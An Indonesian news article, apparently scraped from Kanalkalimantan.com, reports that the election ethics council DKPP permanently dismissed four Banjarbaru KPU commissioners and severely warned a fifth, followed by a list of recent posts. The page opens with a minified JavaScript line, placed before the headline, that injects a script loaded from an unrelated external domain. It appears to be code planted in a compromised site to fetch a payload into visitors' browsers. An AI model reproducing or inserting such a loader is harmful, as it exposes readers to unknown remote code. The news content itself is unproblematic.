(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

TOK! DKPP Pecat Empat Komisioner KPU Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Empat orang komisioner KPU Kota Banjarbaru resmi dipecat dari jabatan oleh Dewan Kehormatan Penyelenggara Pemilu (DKPP).

Keputusan pemberhentian tetap itu dilakukan lima anggota DKPP dari Ruang Sidang Utama DKPP, Jakarta, Jumat (28/2/2025) siang.

Ketua DKPP Heddy Lugito membacakan putusan menjatuhkan sanksi pemberhentian tetap kepada teradu 1 yakni Dahtiar sebagai Ketua KPU Kota Banjarbaru merangkap anggota.

Kemudian Ketua DKPP juga membacakan penjatuhan sanksi pemberhentian tetap kepada masing-masing tiga komisioner KPU lainnya yakni Resty Fatma Sari, Normadina, dan Hereyanto.

“Menjatuhkan sanksi pemberhentian tetap kepada teradu 1 Dahtiar selaku ketua merangkap anggota KPU, teradu 2 Resty Fatma Sari, teradu 3 Normadina, dan teradu 4 Hereyanto, masing masing selaku anggota KPU Banjarbaru terhitung sejak putusan ini dibacakan,” sebut Ketua DKPP Heddy Lugito.

Baca juga: Divonis 1 Tahun, Mantan Plt Kadinsos HST Langsung Terima Putusan

Sidang DKPP terhadap aduan KPU Banjarbaru di Ruang Sidang Utama DKPP, Jakarta, Jumat (28/2/2025). Foto: Tangkap Layar

Sementara satu komisioner KPU Kota Banjarbaru lain sekaligus teradu 5, Haris Fadhillah diberi sanksi peringatan keras.

Baca juga: Ghazyendha Aditya, Anak Kapolda Kalsel Pamer Jet Pribadi dan “Uang Jajan” Miliaran

DKPP memerintahkan KPU RI untuk melaksanakan putusan ini paling lama 7 hari sejak putusan dibacakan.

“Dan memerintahkan Bawaslu untuk mengawasi pelaksaanan putusan ini,” tegasnya.

DDKPP dengan tegas menyatakan bahwa para teradu terbukti melanggar kode etik dan pedoman perilaku penyelenggaraan Pemilu.

Baca juga: Yulianti Erlynah Didakwa Terima Rp4,1 Miliar, Ada ‘Hadiah’ Sebuah Skuter Vespa

“Dengan demikan dalil aduan pengadu terbukti dan jawaban para teradu tidak meyakinkan DKPP, para teradu terbukti melanggar kode etik dan pedoman perilaku penyelenggara Pemilu,” kata Ketua DKPP.

Para teradu yakni lima orang komisioner KPU Banjarbaru terbukti melanggar ketentuan pasal 6 ayat (2) huruf d, pasal 6 ayat (3) huruf a, c, dan f, kemudian pasal 7 ayat (1), pasal 10 huruf a, pasal 11 huruf a dan d, pasal 15 huruf c dan g dan pasal 16 huruf a dan e Peraturan DKPP Nomor 2 tahun 2017. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Muhammad Andi

Recent Posts

Pemkab Kapuas Gelar Forum Konsultasi Publik RPJMD 2025–2029

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas menggelar forum konsultasi publik terkait rencana awal… Read More

9 jam ago

Puncak Hari Jadi ke-26 Kota Banjarbaru Dihadiri Wali Kota 2000-2005 Rudy Resnawan

Pj Wali Kota : Sangat Beruntung Kota Banjarbaru Mempunyai Pendahulu yang Visioner dan Inovatif Read More

12 jam ago

Widya Dewi, Penyuluh Pertanian Asal HSU Raih Penghargaan dari Mentan RI

KANALKALIMANTAN.COM, JAKARTA - Widya Dewi, penyuluh pertanian asal Kabupaten Hulu Sungai Utara (HSU) Kalimantan Selatan… Read More

13 jam ago

Ribuan Orang Hadiri Haul KH Ahmad Hudhori di Martapura Timur

KANALKALIMANTAN.COM, MARTAPURA - Wakil Bupati Banjar Habib Idrus Al Habsyi beserta alim ulama, habaib dan… Read More

16 jam ago

Pemkab Banjar Raih Penghargaan sebagai Penyelenggara Pemerintahan Daerah dengan Kinerja Tinggi

KANALKALIMANTAN.COM, JAKARTA - Prestasi demi prestasi ditorehkan Pemkab Banjar di bawah kepemimpinan H Saidi Mansyur… Read More

18 jam ago

TOP 10 MasterChef Indonesia Season 12 Siap Menghadirkan Tantangan Para Kontestan!

KANALKALIMANTAN.COM - Di Minggu ini, kita akan bertemu kembali dengan 10 besar kontestan MasterChef Indonesia… Read More

20 jam ago